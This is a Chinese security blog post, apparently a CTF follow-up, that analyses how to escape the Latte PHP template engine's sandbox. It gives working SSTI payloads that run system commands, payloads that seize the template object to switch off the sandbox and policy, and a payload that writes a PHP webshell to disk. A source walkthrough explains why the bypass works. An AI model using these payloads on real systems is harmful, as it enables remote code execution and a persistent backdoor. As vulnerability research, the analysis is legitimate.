Latte-SSTI-Payloads总结

阅读量354817

|

发布时间 : 2021-12-13 16:30:02

 

TL;DR

最近西湖论剑有一道使用Latte的题目,当时我也是用的偷鸡办法做的,当时时间限制就没有仔仔细细的去寻找逃逸的办法。

直到赛后我发现逃逸的办法很简单

{="${system('nl /flag')}"}

这里使用的是php的基础语法,我就不过多赘述了。这个复杂变量网上也有很多文章。

赛后我无聊的时候简单看了下Latte,找了点后续的利用,比如获取$this变量,还有任意代码执行。然后发现网上关于这个引擎的文章很少,就来水一篇吧。

 

“${}” Bypass

我粗略的读了下Latte,其实Latte确实是对$$和${}进行了检测的

//PhpWriter.php
public function sandboxPass(MacroTokens $tokens): MacroTokens{
        ......
        elseif ($tokens->isCurrent('$')) { // $$$var or ${...}
                throw new CompileException('Forbidden variable variables.');

        }
        ......
        else { // $obj->$$$var or $obj::$$$var
                        $member = $tokens->nextAll($tokens::T_VARIABLE, '$');
                        $expr->tokens = $op === '::' && !$tokens->isNext('(')
                            ? array_merge($expr->tokens, array_slice($member, 1))
                            : array_merge($expr->tokens, $member);
         }
        ......
}

从给的注释和报错的异常也能看出来,这里通过前面的词法,语法分析出来的token在检测形容${},$$var这样的结构。

如果你直接在模板里书写${$xx}确实会报上面哪个异常

但是如果使用”${xxx}”,可能在前面词法,语法分析就会认为这是个定义的字符串,根本不会进入这里的sandboxPass方法了

可以从一个尽量精简的例子来看看后续的流程

 <?php
//这是index.php
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$latte->setTempDirectory('tempdir');
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowMacros(['block', 'if', 'else','=']);
$policy->allowFilters($policy::ALL);
$policy->allowFunctions(['trim', 'strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(true);

if(isset($_FILES['file'])){
    $uploaddir = '/var/www/html/tempdir/';
    $filename = basename($_FILES['file']['name']);
    if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){
        die('no');
    }
    $file_conents = file_get_contents($_FILES['file']['tmp_name']);
    if(strlen($file_conents)>28 or stristr($file_conents,'<')){
        die('no');
    }
    $uploadfile = $uploaddir . $filename;

    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
        $message = $filename ." was successfully uploaded.";
    } else {
        $message = "error!";
    }

    $params = [
        'message' => $message,
    ];
    $latte->render('tempdir/index.latte', $params);
}
else if($_GET['source']==1){
    highlight_file(__FILE__);
}
else{
    $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);
}
/*这是index.latte*/
<ul>
    {="${eval('echo \'pwn!\';')}"}    
</ul>

调用栈张这样,光从名字来看应该还是挺清晰的

主要看看buildClassBody方法

private function buildClassBody(array $tokens){
......
        $macroHandlers = new \SplObjectStorage;

        if ($this->macros) {
            array_map([$macroHandlers, 'attach'],     array_merge(...array_values($this->macros)));
        }

        foreach ($macroHandlers as $handler) {
            $handler->initialize($this);
        }

        foreach ($tokens as $this->position => $token) {
            if ($this->inHead && !(
                $token->type === $token::COMMENT
                || $token->type === $token::MACRO_TAG && ($this->flags[$token->name] ?? null) & Macro::ALLOWED_IN_HEAD
                || $token->type === $token::TEXT && trim($token->text) === ''
            )) {
                $this->inHead = false;
            }
            $this->{"process$token->type"}($token);
        }
......

在上面哪个示范中,$this->{“process$token->type”}($token);当$token->type=MacroTag时,调用的就是$this->processMacroTag($token);

主要来看看这个MacroTag的处理过程,因为这个MacroTag就代表{="${eval('echo \'pwn!\';')}"}

private function processMacroTag(Token $token): void{
......
//对于这个标签,因为情况比较简单,直接就是来到这里
        $node = $this->openMacro($token->name, $token->value, $token->modifiers, $isRightmost);
......
}
public function openMacro(
        string $name,
        string $args = '',
        string $modifiers = '',
        bool $isRightmost = false,
        string $nPrefix = null
    ): MacroNode {
    ......
    $node = $this->expandMacro($name, $args, $modifiers, $nPrefix);
    ......
    }
public function expandMacro(string $name, string $args, string $modifiers = '', string $nPrefix = null): MacroNode{
    if (empty($this->macros[$name])){//先判断是否存在这个macros
        ......
    }
    $modifiers = (string) $modifiers;//获取修饰符 
    .......
    .......
    foreach (array_reverse($this->macros[$name]) as $macro) {
            $node = new MacroNode($macro, $name, $args, $modifiers, $this->macroNode, $this->htmlNode, $nPrefix);//前面一堆蜜汁操作(因为调的时候前面很多分支没进入,就不管了),终于开始建立这个节点
            $node->context = $context;
            $node->startLine = $nPrefix ? $this->htmlNode->startLine : $this->getLine();
            if ($macro->nodeOpened($node) !== false) {
                return $node;
            }
    }
}

来到MacroSet的nodeOpened(这里是CoreMacros继承的MacroSet方法)然后调用了MacroSet的compile方法,对于本例会来到CoreMacros的macroExpr,通过这个方法上面的注释也能明白这里是在准备编译表达式,在准备将表达式打印的语句编译出来。

nodeOpened(MacroNode $node) -> compile(MacroNode $node, $def)->macroExpr(MacroNode $node, PhpWriter $writer)

然后来到PhpWriter的write方法

    /**
     * Expands %node.word, %node.array, %node.args, %node.line, %escape(), %modify(), %var, %raw, %word in code.
     * @param  mixed  ...$args
     */
    public function write(string $mask, ...$args): string
    ......
    //这整个PhpWriter其实都在干一件事就是去生成一个类似于格式化字符串的结果
    //对于本例,当格式化参数的时候,会一路调用到PhpWriter的sandboxPass方法

在PhpWriter的sandboxPass方法中,会根据目前他拿到的tokens来做判断(虽然初始化PhpWriter的时候,传给他的tokens属性的变量叫tokenizer,实际上传过去的是是当时哪个节点对于分词器的一个包装)

....
elseif ($tokens->isCurrent('$')) { // $$$var or ${...}
                throw new CompileException('Forbidden variable variables.');
....

可以看到这里如果使用$tokens->isCurrent(‘$’)自然而然获取到的是"${eval(xxxxxx)}"并不是一个$的token。

所以就绕过了sandbox。

底层的原理也很简单,其实就是Latte的解析并没有与php一致。也就是说Latte认为这就是在输出一个字符串而已,但是最后生成的php文件中,这确实是一个符合语法规则的复杂变量。

 

How to get $this

模板沙盒逃逸一般大家第一步都喜欢去寻找一些内置变量一类,看看有没有什么操作的空间。但是Latte我粗略的看了下官方文档,好像没有内置变量。直接使用$this会直接被ban。

这里我当时看到了一个过滤器sort

You can pass your own comparison function as a parameter:

{var $sorted = ($names|sort: fn($a, $b) => $b <=> $a)}
//这是官方的例子

这样的东西看起来就很危险,而且最后是会编译成php文件的,所以我猜测自定义匿名函数的代码片段最后生成到php文件时不会产生太大的变化。我当时试了试在匿名函数里面定义一个没用的变量。在最后编译生成的php文件里,我也确实看到了我定义的变量。所以我就觉得这个地方是有操作空间的。

如果你直接准备再这里进行函数调用会被直接拦下来的,静态调用过不了编译。动态调用因为上文提到的sandboxPass方法,会进行以下转换比如

trim("phpinfo\t")();  => $this->call(trim("phpinfo\t"))();

其中$this变量是一个Latte\Runtime\Template的对象,他的这个call其实就是在检测白名单,并且适配了php的几种动态调用的形式,比如数组之类的。

我水平有限也无法规避Latte对动态调用这样的转换。(可能可以使用类似mxss的思路去规避?)

所以我就还是准备使用”${}”看看能否获得$this变量

   <li>{=["this","siebene"]|sort: function ($a,$b)  {  

        "${is_string(${$a}->getEngine()->setSandboxMode(false))}";
        "${is_string(${$a}->getEngine()->setPolicy(null))}";

    }}</li>
    /*
    这里有个小细节就是为了避免对象转为字符串报致命错误提前中断,我使用了`is_string`来将对象间接转成可以接受的形式。
    */

发现还是挺简单的,我就拿到了$this变量,并且关闭了沙盒还有清空了策略。

 

Another RCE Payloads

有兴趣看的话,感觉payload应该还是会有挺多的

    <li>{=["this","siebene"]|sort: function ($a,$b)  {          
        "${is_string(${$a}->call(function (){ file_put_contents('sie.php','<?php eval($_GET[s]);');phpinfo(); })())}";
    }}</li>

本文由Siebene@原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/260335

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
Siebene@
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66